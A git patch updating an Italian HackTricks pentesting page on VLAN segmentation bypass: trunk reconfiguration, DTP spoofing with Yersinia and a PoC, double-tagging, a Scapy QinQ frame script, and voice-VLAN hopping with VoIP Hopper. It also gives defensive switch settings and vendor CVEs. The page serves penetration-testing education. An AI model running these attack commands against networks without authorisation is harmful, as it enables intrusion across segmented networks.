From 21ecad12d41a6f3a3d553274f4edcbb43c0b27c7 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 12:39:59 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- .../lateral-vlan-segmentation-bypass.md | 85 ++++++++++++++----- 1 file changed, 63 insertions(+), 22 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index f8857fda9..8afc4aab9 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -Se è disponibile l'accesso diretto a uno switch, la segmentazione VLAN può essere bypassata. Questo comporta la riconfigurazione della porta connessa in modalità trunk, l'istituzione di interfacce virtuali per le VLAN target e l'impostazione degli indirizzi IP, sia dinamicamente (DHCP) che staticamente, a seconda dello scenario (**per ulteriori dettagli controlla [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** +Se l'accesso diretto a uno switch è disponibile, la segmentazione VLAN può essere bypassata. Questo comporta la riconfigurazione della porta connessa in modalità trunk, l'istituzione di interfacce virtuali per le VLAN target e l'impostazione degli indirizzi IP, sia dinamicamente (DHCP) che staticamente, a seconda dello scenario (**per ulteriori dettagli controlla [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** -Inizialmente, è necessaria l'identificazione della specifica porta connessa. Questo può essere tipicamente realizzato attraverso i messaggi CDP, o cercando la porta tramite la maschera **include**. +Inizialmente, è necessaria l'identificazione della specifica porta connessa. Questo può essere tipicamente realizzato attraverso messaggi CDP, o cercando la porta tramite la maschera **include**. **Se CDP non è operativo, l'identificazione della porta può essere tentata cercando l'indirizzo MAC**: ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` -Prima di passare alla modalità trunk, dovrebbe essere compilato un elenco delle VLAN esistenti e determinati i loro identificatori. Questi identificatori vengono quindi assegnati all'interfaccia, consentendo l'accesso a varie VLAN attraverso il trunk. La porta in uso, ad esempio, è associata alla VLAN 10. +Prima di passare alla modalità trunk, è necessario compilare un elenco delle VLAN esistenti e determinare i loro identificatori. Questi identificatori vengono quindi assegnati all'interfaccia, consentendo l'accesso a varie VLAN attraverso il trunk. La porta in uso, ad esempio, è associata alla VLAN 10. ``` SW1# show vlan brief ``` @@ -24,6 +24,7 @@ Passare alla modalità trunk interromperà temporaneamente la connettività, ma Vengono quindi create interfacce virtuali, assegnati ID VLAN e attivate: ```bash +# Legacy (vconfig) – still works but deprecated in modern kernels sudo vconfig add eth0 10 sudo vconfig add eth0 20 sudo vconfig add eth0 50 @@ -32,17 +33,26 @@ sudo ifconfig eth0.10 up sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up + +# Modern (ip-link – preferred) +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.10 type vlan id 10 +sudo ip link add link eth0 name eth0.20 type vlan id 20 +sudo ip link set eth0.10 up +sudo ip link set eth0.20 up +sudo dhclient -v eth0.50 +sudo dhclient -v eth0.60 ``` Successivamente, viene effettuata una richiesta di indirizzo tramite DHCP. In alternativa, nei casi in cui DHCP non sia praticabile, gli indirizzi possono essere configurati manualmente: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 -sudo dhclient -v eth0.50 -sudo dhclient -v eth0.60 ``` Esempio per impostare manualmente un indirizzo IP statico su un'interfaccia (VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 +# or +sudo ip addr add 10.10.10.66/24 dev eth0.10 ``` La connettività viene testata avviando richieste ICMP ai gateway predefiniti per le VLAN 10, 20, 50 e 60. @@ -61,22 +71,29 @@ Gli switch Cisco che mantengono DTP abilitato negozieranno felicemente un trunk *Yersinia* e diversi PoC automatizzano il processo: ```bash # Become a trunk using Yersinia (GUI) -$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking +sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking # Python PoC (dtp-spoof) -$ git clone https://github.com/fleetcaptain/dtp-spoof.git -$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +git clone https://github.com/fleetcaptain/dtp-spoof.git +sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable ``` -Una volta che la porta passa a trunk, puoi creare sottointerfacce 802.1Q e pivotare esattamente come mostrato nella sezione precedente. I moderni kernel Linux non richiedono più *vconfig*; usa invece *ip link*: +Recon helper (identificare passivamente lo stato DTP della porta): ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip link set eth0.30 up + +# or + +wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py +sudo python3 dtpscan.py -i eth0 ``` +Una volta che la porta passa a trunk, puoi creare sottointerfacce 802.1Q e pivotare esattamente come mostrato nella sezione precedente. + ### 2. Double-Tagging (Abuso del Native-VLAN) -Se l'attaccante si trova sul **native (untagged) VLAN**, un frame creato con *due* intestazioni 802.1Q può "saltare" a un secondo VLAN anche quando la porta è bloccata in modalità accesso. Strumenti come **VLANPWN DoubleTagging.py** (aggiornamento 2022-2024) automatizzano l'iniezione: +Se l'attaccante si trova sul **native (untagged) VLAN**, un frame creato con *due* intestazioni 802.1Q può saltare a un secondo VLAN anche quando la porta è bloccata in modalità accesso. Strumenti come **VLANPWN DoubleTagging.py** (refresh 2022-2025) automatizzano l'iniezione: ```bash python3 DoubleTagging.py \ --interface eth0 \ @@ -85,15 +102,9 @@ python3 DoubleTagging.py \ --victim 10.10.20.24 \ --attacker 10.10.1.54 ``` -Packet walk-through: -1. Il tag esterno (1) viene rimosso dal primo switch perché corrisponde al VLAN nativo. -2. Il tag interno (20) è ora esposto; il frame viene inoltrato sul trunk verso il VLAN 20. - -La tecnica funziona ancora nel 2025 su reti che lasciano il VLAN nativo al valore predefinito e accettano frame non taggati. - ### 3. QinQ (802.1ad) Stacking -Molti core aziendali supportano l'incapsulamento *Q-in-Q* dei fornitori di servizi. Dove consentito, un attaccante può tunnelare traffico arbitrario taggato 802.1Q all'interno di un fornitore (S-tag) per attraversare zone di sicurezza. Cattura per ethertype 802.1ad 0x88a8 e prova a rimuovere il tag esterno con Scapy: +Molti core aziendali supportano l'incapsulamento *Q-in-Q* dei fornitori di servizi. Dove consentito, un attaccante può incapsulare traffico etichettato 802.1Q arbitrario all'interno di un fornitore (S-tag) per attraversare le zone di sicurezza. Cattura per ethertype `0x88a8` e prova a rimuovere l'etichetta esterna con Scapy: ```python from scapy.all import * outer = 100 # Service tag @@ -102,15 +113,43 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ frame = Dot1Q(type=0x88a8, vlan=outer)/payload sendp(frame, iface="eth0") ``` +### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing) + +Le porte di accesso aziendali si trovano spesso in una configurazione *“access + voice”*: VLAN dati non contrassegnata per la workstation e una VLAN voce contrassegnata pubblicizzata tramite CDP o LLDP-MED. Impersonando un telefono IP, l'attaccante può scoprire automaticamente e accedere alla VLAN VoIP, anche quando DTP è disabilitato. + +*VoIP Hopper* (incluso in Kali 2025.2) supporta CDP, opzioni DHCP **176/242** e spoofing completo di LLDP-MED: +```bash +# One-shot discovery & hop +sudo voiphopper -i eth0 -f cisco-7940 + +# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt) +sudo voiphopper -i eth0 -z + +# Result: new sub-interface eth0. with a DHCP or static address inside the voice VLAN +``` +La tecnica bypassa la separazione dei dati/voce ed è estremamente comune sugli switch edge aziendali nel 2025 perché la politica automatica LLDP è abilitata per impostazione predefinita su molti modelli. + --- ## Raccomandazioni Difensive -1. Disabilita DTP su tutte le porte a contatto con l'utente: `switchport mode access` + `switchport nonegotiate`. -2. Cambia il VLAN nativo su ogni trunk in un **VLAN inutilizzato, black-hole** e taggalo: `vlan dot1q tag native`. -3. Rimuovi i VLAN non necessari sui trunk: `switchport trunk allowed vlan 10,20`. -4. Applica la sicurezza delle porte, DHCP snooping e ispezione ARP dinamica per limitare l'attività Layer-2 non autorizzata. -5. Preferisci i private-VLAN o la segmentazione L3 invece di fare affidamento esclusivamente sulla separazione 802.1Q. +1. Disabilitare DTP su tutte le porte rivolte agli utenti: `switchport mode access` + `switchport nonegotiate`. +2. Cambiare il VLAN nativo su ogni trunk in un **VLAN non utilizzato, black-hole** e taggarlo: `vlan dot1q tag native`. +3. Potare VLAN non necessarie sui trunk: `switchport trunk allowed vlan 10,20`. +4. Applicare la sicurezza delle porte, DHCP snooping, ispezione ARP dinamica **e 802.1X** per limitare l'attività Layer-2 non autorizzata. +5. Disabilitare le politiche automatiche di voce LLDP-MED (o bloccarle a MAC OUI autenticati) se il spoofing del telefono IP non è richiesto. +6. Preferire VLAN private o segmentazione L3 invece di fare affidamento esclusivamente sulla separazione 802.1Q. + +--- + +## Vulnerabilità dei Fornitori nel Mondo Reale (2022-2024) + +Anche una configurazione di switch perfettamente rinforzata può essere compromessa da bug del firmware. Esempi recenti includono: + +* **CVE-2022-20728† – Cisco Aironet/Catalyst Access Points** consentono l'iniezione dal VLAN nativo in VLAN WLAN non native, bypassando la segmentazione cablata/wi-fi. +* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)** consente il bypass delle ACL su SVI dopo aver attivato il Protocollo Ethernet Resiliente, facendo trapelare il traffico tra VRF/VLAN. Patch 17.9.5 o successiva. + +Monitorare sempre gli avvisi dei fornitori per problemi di bypass/ACL relativi ai VLAN e mantenere aggiornate le immagini dell'infrastruttura. --- @@ -119,5 +158,7 @@ sendp(frame, iface="eth0") - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - VLANPWN attack toolkit – - Twingate "What is VLAN Hopping?" (Aug 2024) – +- VoIP Hopper project – +- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – {{#include ../../banners/hacktricks-training.md}}